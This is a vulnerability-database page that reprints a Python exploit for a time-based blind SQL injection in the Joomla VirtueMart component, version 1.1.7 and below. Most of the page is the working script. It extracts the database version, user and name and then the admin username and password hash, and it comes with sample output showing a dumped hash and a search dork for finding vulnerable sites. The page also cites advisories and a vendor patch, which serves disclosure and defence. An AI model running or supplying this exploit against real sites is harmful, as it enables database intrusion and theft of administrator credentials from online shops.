header-logo
Suggest Exploit
vendor:
com_virtuemart
by:
TecR0c & mr_me
7.5
CVSS
HIGH
Blind SQL Injection
89
CWE
Product Name: com_virtuemart
Affected Version From: 1.1.2004
Affected Version To: 1.1.2007
Patch Exists: YES
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Joomla v1.5.22
2011

Joomla! com_virtuemart <= v1.1.7 Blind SQL Injection Exploit

There is a Blind SQL Injection vulnerability in the 'page' variable of the virtuemart component. Because of the fact that Joomla core filters '<' or '>' characters, we can only use '=' to test for true/false statements. This of course will send an enormous number of queries the target. During testing, 9145 queries were sent to fully steal the admin user/hash. This PoC was tested on the latest version of virtuemart (1.1.7) at the time of discovery. Depending on your purpose, you may have to adjust the timings of benchmark and time to last byte (ttlb).

Mitigation:

Apply the patch provided by the vendor.
Source

Exploit-DB raw data:

#!/usr/bin/python
#
# Joomla! com_virtuemart <= v1.1.7 Blind SQL Injection Exploit.
# Found by: TecR0c & mr_me
# Discovery date: 11/2/2011
# Code by: mr_me
# Vendor: http://virtuemart.net/
# Download: http://virtuemart.net/downloads
# Dork: inurl:"?option=com_virtuemart" > 46 million results
# Patch: http://dev.virtuemart.net/attachments/202/Patch-VirtueMart-1.1.7a.zip 
# References: 
# - http://www.stratsec.net/Research/Advisories/VirtueMart-SQL-Injection-(SS-2011-003)
# - http://virtuemart.net/security-bulletins/396-vm-security-bulletin-2011-02-18
#
# "The more you educate yourself the more you understand where things come from the more obvious things become
# and you begin to see lies everywhere. You have to know the truth and seek the truth and the truth will set you free."
# - zeitgeist addendum
#
# Description:
# ============
# With its fully-featured eCommerce engine, VirtueMart is perfect to sell your Goods online 
# and drive your Business to new Heights. Despite being Open Source Software it powers large 
# Online Shops providing the Performance, Usability and Security you expect from professional Software.
# 
# Explantation:
# =============
# There is a Blind SQL Injection vulnerability in the "page" variable of the virtuemart component. 
# Because of the fact that Joomla core filters '<' or '>' characters, we can only use '=' to test for true/false
# statements. This of course will send an enormous number of queries the target. During testing, 9145
# queries were sent to fully steal the admin user/hash. This PoC was tested on the latest version
# of virtuemart (1.1.7) at the time of discovery. Depending on your purpose, you may have to adjust the 
# timings of benchmark and time to last byte (ttlb).
# 
# Tested on Joomla v1.5.22 with virtuemart:
# ==========
# - v1.1.7
# - v1.1.6
# - v1.1.4
#
# [mr_me@pluto com_virtuemart]$ python virtuemart.py -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/
# 
# 	| ------------------------------------------------------------------- |
# 	| Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit |
# 	| by mr_me - net-ninja.net ------------------------------------------ |
# 
# (+) PoC started on Sat Feb 12 17:26:15 2011
# (+) Exploiting target @: http://192.168.1.7/webapps/joomla/
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Using time based SQL Injection.
# (+) This will take time, go grab a coffee..
# 
# (!) Getting database version: 5.1.41-3ubuntu12.9
# (!) Getting database user: root@localhost
# (!) Getting database name: joomla
# (!) Getting Joomla admin: admin:eb970f9dfca9d7353083ab37cf097e21:pL356HEW2hfl88NWuFpgjLDfy2gKwIHR
# (+) PoC finished on Sat Feb 12 18:38:05 2011
#

import sys, urllib, urllib2, re, time
from optparse import OptionParser

# just printable ascii please
lower_value = 32
upper_value = 126

vuluri = "index.php?option=com_virtuemart&page%3d-1"
basicInfo = {'version':'@@version', 'user':'user()', 'name':'database()'}

usage = "./%prog [<options>] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/joomla/"

parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="directory",
                  help="Directory path to the CMS")

(options, args) = parser.parse_args()

def banner():
    print "\n\t| ------------------------------------------------------------------- |"
    print "\t| Joomla! com_virtuemart <= v1.1.7 Remote Blind SQL Injection Exploit |"
    print "\t| by mr_me - net-ninja.net ------------------------------------------ |\n"

if len(sys.argv) < 4:
	banner()
	parser.print_help()
	sys.exit(1)

def timer():
	now = time.localtime(time.time())
        return time.asctime(now)

def testProxy():
	check = 1
	sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
	sys.stdout.flush()
	try:
        	req = urllib2.Request("http://www.google.com/")
		req.set_proxy(options.proxy,"http")
		check = urllib2.urlopen(req)
    	except:
        	check = 0
        	pass
    	if check != 0:
        	sys.stdout.write("proxy is found to be working!\n")
        	sys.stdout.flush()
    	else:
        	print "proxy failed, exiting.."
        	sys.exit(1)
	
def getServerResponse(exploit):
	try:
		uri = "http://"+options.target+options.directory+exploit 
		request = urllib2.Request(uri)
		if options.proxy:
			request.set_proxy(options.proxy, "http")
		
		start = time.time()
		resp = urllib2.urlopen(request)
		check = resp.read()
		ttlb = time.time() - start
	except urllib.error.HTTPError, error:
			check = error.read()
	except socket.error:
		print "(-) Proxy connection failed"
		sys.exit(1)
	return check, ttlb

def getBasicDbInfo(basicInfo, key, limit):
	for i in range(1,limit):
		for j in range(lower_value,upper_value):
			request = (vuluri + "'+UnIOn+seLEcT+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
			% (basicInfo[key],str(i),str(j)))
			try:
				resp, ttlb = getServerResponse(request)
			except:
				print "\n(-) Exiting.."
				sys.exit(1)
			if ttlb >= 3.5:
				sys.stdout.write("%s" % (chr(j)))
				sys.stdout.flush()
				break


def getJosUser(selectStmt, limit):
	for i in range(1,limit):
		for j in range(lower_value,upper_value):
			request = (vuluri + "'+uNIoN+SeLeCt+iF(ascii(substring(%s,%s,1))=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
                        % (selectStmt,str(i),str(j)))
			resp, ttlb = getServerResponse(request)
                        if ttlb >= 3.5:
                                sys.stdout.write("%s" % (chr(j)))
                                sys.stdout.flush()
                                break

def doBlindSqlInjection():
	print "(+) Using time based SQL Injection."
        print "(+) This will take time, go grab a coffee.."

	for key in basicInfo:
		sys.stdout.write("\n(!) Getting database %s: " % (key))
		sys.stdout.flush()
		
		for i in range(1,50):
			request = (vuluri + "'+unIoN+sEleCt+if(length(%s)=%s,benchmark(5000000,MD5('x')),NULL)--+junk.page"
                	% (basicInfo[key],str(i)))		
			try:
                    		resp, ttlb = getServerResponse(request)
                	except:
                       		print "\n(-) Exiting.."
                        	sys.exit(1)
                	if ttlb >= 3.5:
                        	break

		getBasicDbInfo(basicInfo, key, i+1)

	sys.stdout.write("\n(!) Getting Joomla admin: ")
	sys.stdout.flush()

	for i in range(1,100):
		lengthOfAdminString = "(select+length(concat(username,0x3a,password))+from+jos_users+limit+1)"
		request = (vuluri + "'+union+select+if(%s=%s,BENCHMARK(5000000,MD5('x')),NULL)--+junk.page"
		% (lengthOfAdminString,str(i)))
		try:
			resp, ttlb = getServerResponse(request)
		except:
			print "\n(-) Exiting.."
			sys.exit(1)
		if ttlb >= 3.5:
			break
	
	getJosStmt = "(select+concat(username,0x3a,password)+from+jos_users+limit+0,1)"
	getJosUser(getJosStmt, i+1)

if __name__ == "__main__":
	banner()
	print "(+) PoC started on %s" % (timer())
	print "(+) Exploiting target @: http://%s" % (options.target+options.directory)
	if options.proxy:
		testProxy()
	doBlindSqlInjection()	
	print "\n(+) PoC finished on %s" % (timer())